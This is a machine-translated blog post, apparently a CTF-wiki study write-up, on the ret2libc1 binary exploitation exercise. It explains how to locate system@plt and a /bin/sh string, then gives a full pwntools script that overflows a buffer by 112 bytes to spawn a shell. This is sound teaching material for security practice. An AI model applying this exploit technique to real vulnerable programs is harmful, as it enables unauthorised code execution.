当前位置:网站首页>Learn PWN from CTF wiki - ret2libc1
Learn PWN from CTF wiki - ret2libc1
2022-07-05 23:49:00 【Big Ruida】
ret2libc
principle
perform libc Medium /bin/sh
step
First , Check the security protection of the program 
Turn on NX:no executable
( Non executable memory data pages )
( Can not make use of ret2text And ret2shellcode)
secondly , Check if there is /bin/sh

Check if there is system (segment yes plt, No extern)

/bin/sh, Is a string , Need to know the address .
system, Is a callable function , Need to know the address .
use system call /bin/sh that will do
So write payload, Addressing mode can be viewed Previous blogs , A fellow 112.
#!/usr/bin/env python
from pwn import *
sh = process('./ret2libc1')
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)
sh.interactive()
call libc Format of function :
system_plt + 4 Bytes (32 Bit address ) + /bin/sh character string
Here we need to pay attention to the structure of the function call stack , If it is a normal call system function , When we call, there will be a corresponding return address , Here we use ’bbbb’ As a false address , The parameter content corresponding to the subsequent parameters .
This example is relatively simple , It also provides system Address and /bin/sh The address of , But most programs don't have such a good situation .
边栏推荐
- 18.(arcgis api for js篇)arcgis api for js点采集(SketchViewModel)
- Convert Chinese into pinyin
- orgchart. JS organization chart, presenting structural data in an elegant way
- Redis高可用——主从复制、哨兵模式、集群
- VBA fast switching sheet
- Open3D 点云随机添加噪声
- Tips for using pads router
- STM32__06—单通道ADC
- 2022.6.20-6.26 AI industry weekly (issue 103): new little life
- China Jinmao online electronic signature, accelerating the digitization of real estate business
猜你喜欢

20. Migrate freetype font library

Bao Yan notebook IV software engineering and calculation volume II (Chapter 8-12)

Do you regret becoming a programmer?

Senparc.Weixin.Sample.MP源码剖析

The use of El cascader and the solution of error reporting

激光slam学习记录

跟着CTF-wiki学pwn——ret2libc1

Huawei simulator ENSP - hcip - MPLS experiment

el-cascader的使用以及报错解决

98. 验证二叉搜索树 ●●
随机推荐
5. Logistic regression
Senparc.Weixin.Sample.MP源码剖析
Use mapper: --- tkmapper
When to use useImperativeHandle, useLayoutEffect, and useDebugValue
Open source CRM customer relationship system management system source code, free sharing
用列錶初始化你的vector&&initializer_list簡介
保研笔记一 软件工程与计算卷二(1-7章)
Opencvsharp (C openCV) shape detection and recognition (with source code)
【EF Core】EF Core与C# 数据类型映射关系
JVM details
Research notes I software engineering and calculation volume II (Chapter 1-7)
rsync远程同步
如何提升口才
Make a short video clip number of we media film and television. Where can I download the material?
Cwaitabletimer timer, used to create timer object access
[original] what is the core of programmer team management?
CIS基准测试工具kube-bench使用
Rasa 3.x 学习系列-Rasa X 社区版(免费版) 更改
PADS ROUTER 使用技巧小记
How to get all the values stored in localstorage